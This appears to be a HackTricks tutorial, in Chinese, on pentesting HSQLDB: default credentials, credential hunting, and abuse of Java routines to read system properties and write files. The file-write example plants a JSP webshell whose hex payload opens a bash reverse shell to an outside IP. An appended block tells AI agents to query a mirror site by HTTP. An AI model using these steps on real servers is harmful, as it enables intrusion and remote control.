# 9001 - Pentesting HSQLDB

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS Red Team Expert）</strong></a><strong>！</strong></summary>

其他支持HackTricks的方式：

* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>

## 基本信息

**HSQLDB (**[**HyperSQL DataBase**](http://hsqldb.org/)**)** 是用Java编写的领先的SQL关系数据库系统。它提供了一个小型、快速的多线程和事务性数据库引擎，支持内存和基于磁盘的表，并支持嵌入式和服务器模式。

**默认端口:** 9001

```
9001/tcp open  jdbc      HSQLDB JDBC (Network Compatibility Version 2.3.4.0)
```

## 信息

#### 默认设置

请注意，默认情况下，此服务可能在内存中运行或绑定到本地主机。如果您找到了它，您可能已经利用了另一个服务，并且希望提升权限。

默认凭据通常为`sa`，密码为空。

如果您已经利用了另一个服务，请搜索可能的凭据使用

```
grep -rP 'jdbc:hsqldb.*password.*' /path/to/search
```

注意仔细记录数据库名称 - 您将需要它来连接。

## 信息收集

通过[下载 HSQLDB](https://sourceforge.net/projects/hsqldb/files/)并提取 `hsqldb/lib/hsqldb.jar` 来连接到数据库实例。使用 `java -jar hsqldb.jar` 运行 GUI 应用程序 (eww) 并使用发现的/弱凭据连接到实例。

请注意，对于远程系统，连接 URL 将类似于：`jdbc:hsqldb:hsql://ip/DBNAME`。

## 技巧

### Java 语言例程

我们可以使用 Java 语言例程从 HSQLDB 调用 Java 类的静态方法。请注意，被调用的类需要在应用程序的类路径中。

JRT 可以是 `functions` 或 `procedures`。如果 Java 方法返回一个或多个与 SQL 兼容的原始变量，则可以通过 SQL 语句调用函数。它们使用 `VALUES` 语句调用。

如果我们要调用的 Java 方法返回 void，则需要使用使用 `CALL` 语句调用的过程。

### 读取 Java 系统属性

创建函数：

```
CREATE FUNCTION getsystemproperty(IN key VARCHAR) RETURNS VARCHAR LANGUAGE JAVA
DETERMINISTIC NO SQL
EXTERNAL NAME 'CLASSPATH:java.lang.System.getProperty'
```

执行函数：

```
VALUES(getsystemproperty('user.name'))
```

您可以在[这里找到系统属性列表](https://docs.oracle.com/javase/tutorial/essential/environment/sysprop.html)。

### 将内容写入文件

您可以使用位于JDK中的`com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename` Java小工具（自动加载到应用程序的类路径中）通过自定义过程将十六进制编码的项目写入磁盘。**请注意最大大小为1024字节**。

创建过程：

```
CREATE PROCEDURE writetofile(IN paramString VARCHAR, IN paramArrayOfByte VARBINARY(1024))
LANGUAGE JAVA DETERMINISTIC NO SQL EXTERNAL NAME
'CLASSPATH:com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename'
```

执行过程：

```
call writetofile('/path/ROOT/shell.jsp', cast ('3c2540207061676520696d706f72743d226a6176612e696f2e2a2220253e0a3c250a202020537472696e6720636d64203d20222f62696e2f62617368202d69203e26202f6465762f7463702f3139322e3136382e3131392[...]' AS VARBINARY(1024)))
```

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS Red Team Expert）</strong></a><strong>！</strong></summary>

其他支持HackTricks的方式：

* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://hacktricks.xsx.tw/network-services-pentesting/9001-pentesting-hsqldb.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
